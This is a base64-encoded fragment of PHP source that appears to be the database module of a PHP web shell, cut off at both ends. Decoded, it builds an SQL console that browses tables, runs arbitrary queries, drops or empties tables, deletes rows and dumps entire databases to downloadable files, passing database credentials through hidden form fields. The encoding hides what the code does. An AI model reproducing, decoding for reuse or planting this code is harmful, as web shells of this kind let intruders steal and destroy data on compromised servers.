HQ8dGFibGUgY2xhc3M9J3R1Yic+PHRoPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4iJlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9iPjwvYT48L3RoPjwvdGFibGU+PGJyPlxuIjsKJGMgPSAwOwp3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CiAgJGNvdW50ID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiLiRyb3dbMF0pOwogICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOwogIGVjaG8gIlx0PGI+KyA8YSBzdHlsZT0nY29sb3I6IzAwZmYwMDsnIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJnNxbF90Ymw9Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIjwvYT48L2I+ICgiLiRjb3VudF9yb3dbMF0uIik8L2JyPjwvYj5cbiI7CiAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsKICAkYysrOwp9CmlmICghJGMpIHsgZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlIjsgfQogIH0KfQplY2hvICc8L3RkPic7CmVjaG8gJzx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyI+JzsKJGRpcGxheSA9IFRSVUU7CmlmIChAJHNxbF9kYikgewogIGlmICghaXNfbnVtZXJpYygkYykpIHsgJGMgPSAwOyB9CiAgaWYgKCRjID09IDApIHsgJGMgPSAibm8iOyB9CiAgZWNobyAiXHQ8Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gZGF0YWJhc2U6ICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iIjsKICBpZiAoY291bnQoQCRkYnF1aWNrbGF1bmNoKSA+IDApIHsKZm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkgewogIGVjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiOwp9CiAgfQogIGVjaG8gIjwvYj48L2NlbnRlcj5cbiI7CiAgJHhzID0gYXJyYXkoIiIsImR1bXAiKTsKICBpZiAoJHNxbF94ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30KICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX3ggPSAicXVlcnkiO30KICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZHVtcCIpIHtpZiAoY291bnQoJGJveHRibCkgPiAwKSB7JGRtcHRibHMgPSAkYm94dGJsO30gZWxzZWlmKCR0aGlzdGJsKSB7JGRtcHRibHMgPSBhcnJheSgkc3FsX3RibCk7fSAkc3FsX3ggPSAiZHVtcCI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxyZXBhaXIiKSB7JHNxbF9xdWVyeSA9ICJSRVBBSVIgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9CiAgZWxzZWlmICgkc3FsX3ggPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0IikgewppZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDEpIHsKICAka2V5cyA9ICIiOwogICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsKICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQogIGlmICghZW1wdHkoJGtleXMpKSB7JGtleXMgPSBzdWJzdHIoJGtleXMsMCxzdHJsZW4oJGtleXMpLTIpO30KICAkdmFsdWVzID0gIiI7CiAgJGkgPSAwOwogIGZvcmVhY2ggKGFycmF5X3ZhbHVlcygkc3FsX3RibF9pbnNlcnQpIGFzICR2KSB7aWYgKCRmdW5jdCA9ICRzcWxfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0pIHskdmFsdWVzIC49ICRmdW5jdC4iICgiO30gJHZhbHVlcyAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyBpZiAoJGZ1bmN0KSB7JHZhbHVlcyAuPSAiKSI7fSAkdmFsdWVzIC49ICIsICI7ICRpKys7fQogIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQogICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7CiAgJHNxbF94ID0gInF1ZXJ5IjsKICAkc3FsX3RibF94ID0gImJyb3dzZSI7Cn0KZWxzZWlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMikgewogICRzZXQgPSBteXNxbF9idWlsZHdoZXJlKCRzcWxfdGJsX2luc2VydCwiLCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOwogICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOwogICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7CiAgJHNxbF94ID0gInF1ZXJ5IjsKICAkc3FsX3RibF94ID0gImJyb3dzZSI7Cn0KICB9CiAgaWYgKCRzcWxfeCA9PSAicXVlcnkiKSB7CmVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9CmlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQppZiAoKCEkc3VibWl0KSBvciAoJHNxbF94KSkgeyBlY2hvICI8dGFibGUgY2xhc3M9J3RhYic+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF94XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+IjsgfQogIH0KICBpZiAoaW5fYXJyYXkoJHNxbF94LCR4cykpIHsKZWNobyAnPHRhYmxlIGNsYXNzPSJ0YWIiPgo8dHI+Cjx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzO3BhZGRpbmc6M3B4OyI+CjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPgo8Zm9ybSBhY3Rpb249IicuJHN1cmwuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld3RibCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuJyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3dGJsIiBzaXplPSIyMCI+CkZpZWxkczogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9maWVsZCIgc2l6ZT0iMyI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPgo8L2Zvcm0+CjwvdGQ+Cjx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzO3BhZGRpbmc6M3B4OyI+PGI+RHVtcCBEQjo8L2I+Cjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZHVtcCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuJyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iZHVtcF8nLmdldGVudigiU0VSVkVSX05BTUUiKS4nXycuJHNxbF9kYi4nXycuZGF0ZSgiZC1tLVktSC1pLXMiKS4nLnNxbCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkR1bXAiPgo8L2Zvcm0+CjwvdGQ+CjwvdHI+CjwvdGFibGU+JzsKaWYgKCFlbXB0eSgkc3FsX3gpKSB7IGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsgfQppZiAoJHNxbF94ID09ICJuZXd0YmwiKSB7CiAgZWNobyAiPGI+IjsKICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkgewplY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iOwogIH0KICBlbHNlIHsgZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7IH0KfQplbHNlaWYgKCRzcWxfeCA9PSAiZHVtcCIpIHsKICBpZiAoZW1wdHkoJHN1Ym1pdCkpIHsKJGRpcGxheSA9IEZBTFNFOwplY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfeFwiIHZhbHVlPVwiZHVtcFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48Yj5TUUwtRHVtcDo8L2I+PGJyPjxicj4iOwplY2hvICI8Yj5EQjo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7CiR2ID0gam9pbiAoIjsiLCRkbXB0YmxzKTsKZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpIDo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOwppZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30KZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30KZWNobyAiPGI+RmlsZTo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3RybGVuKCR0bXApICUgMzApLiJcIj48YnI+PGJyPiI7CmVjaG8gIjxiPkRvd25sb2FkOiA8L2I+IDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYWRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsKZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+IDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsKZWNobyAiPGJyPjxicj48aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPiI7CmVjaG8gIjwvZm9ybT4iOwogIH0KICBlbHNlIHsKJGRpcGxheSA9IFRSVUU7ICRzZXQgPSBhcnJheSgpOyAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7ICRzZXRbImRiIl0gPSAkc3FsX2RiOyAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOyAkc2V0WyJwcmludCJdID0gMDsKJHNldFsibmwyYnIiXSA9IDA7ICRzZXRbIiJdID0gMDsgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsgJHNldFsiYWRkX2Ryb3AiXSA9IFRSVUU7ICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOwppZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQokcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsKaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkgewogIEBvYl9jbGVhbigpOwogIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkcmV0KSk7CiAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsKICBlY2hvICRyZXQ7CiAgZXhpdDsKfQplbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKSB7CiAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsKICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9CiAgZWxzZSB7CmZ3cml0ZSgkZnAsJHJldCk7CmZjbG9zZSgkZnApOwplY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOwogIH0KfQplbHNlIHtlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRvIGRvITwvYj4iO30KICB9Cn0KaWYgKCRkaXBsYXkpIHsKICBpZiAoIWVtcHR5KCRzcWxfdGJsKSkgewogIGlmIChlbXB0eSgkc3FsX3RibF94KSkgeyRzcWxfdGJsX3ggPSAiYnJvd3NlIjt9CiAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOwogICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOwogIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7CiAgJHRibF9zdHJ1Y3RfcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZST00gYCIuJHNxbF90YmwuImA7Iik7CiR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9CiAgaWYgKEAkc3FsX2xzID4gQCRzcWxfbGUpIHsgJHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTsgfQogIGlmIChlbXB0eSgkc3FsX3RibF9wYWdlKSkgeyAkc3FsX3RibF9wYWdlID0gMDsgfQogIGlmIChlbXB0eSgkc3FsX3RibF9scykpIHsgJHNxbF90YmxfbHMgPSAwOyB9CiAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyAkc3FsX3RibF9sZSA9IDMwOyB9CiAgJHBlcnBhZ2UgPSAkc3FsX3RibF9sZSAtICRzcWxfdGJsX2xzOwogIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHsgJHBlcnBhZ2UgPSAxMDsgfQogICRudW1wYWdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7CiAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZGVyKTsKICBpZiAoY291bnQoJGUpID09IDIpIHsKaWYgKCRlWzBdID09ICJkIikgeyAkYXNjX2Rlc2MgPSAiREVTQyI7IH0KZWxzZSB7ICRhc2NfZGVzYyA9ICJBU0MiOyB9CiR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsKICB9CiAgZWxzZSB7JHYgPSAiIjt9CiAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsKICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogIGVjaG8gIjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOwogIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PXN0cnVjdHVyZVwiPls8Yj4gU3RydWN0dXJlIDwvYj5dPC9hPiAmbmJzcDsgIjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWJyb3dzZVwiPls8Yj4gQnJvd3NlIDwvYj5dPC9hPiAmbmJzcDsgIjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3g9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bPGI+IER1bXAgPC9iPl08L2E+ICZuYnNwOyAiOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX3g9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiAmbmJzcDsgIjsKICBpZiAoJHNxbF90YmxfeCA9PSAic3RydWN0dXJlIikgeyBlY2hvICI8Yj5VbmRlciBjb25zdHJ1Y3Rpb24hPC9iPiI7IH0KICBpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0IikgewppZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30KaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKSB7IGVjaG8gIjxiPlVuZGVyIGNvbnN0cnVjdGlvbiE8L2I+IjsgfQplbHNlIHsKICBlY2hvICI8YnI+PGJyPjxiPkluc2VydGluZyByb3cgaW50byB0YWJsZTo8L2I+PGJyPiI7CiAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHsKJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsKJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsKJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsKJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7CiR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsKbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgfQogIGVsc2UgeyR2YWx1ZXMgPSBhcnJheSgpO30KICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRhYmxlIHdpZHRoPVwiMSVcIiBjbGFzcz0ndHViJz48dHI+PHRoPjxiPkZpZWxkPC9iPjwvdGg+PHRoPjxiPlR5cGU8L2I+PC90aD48dGg+PGI+RnVuY3Rpb248L2I+PC90aD48dGg+PGI+VmFsdWU8L2I+PC90aD48L3RyPiI7CiAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkgewo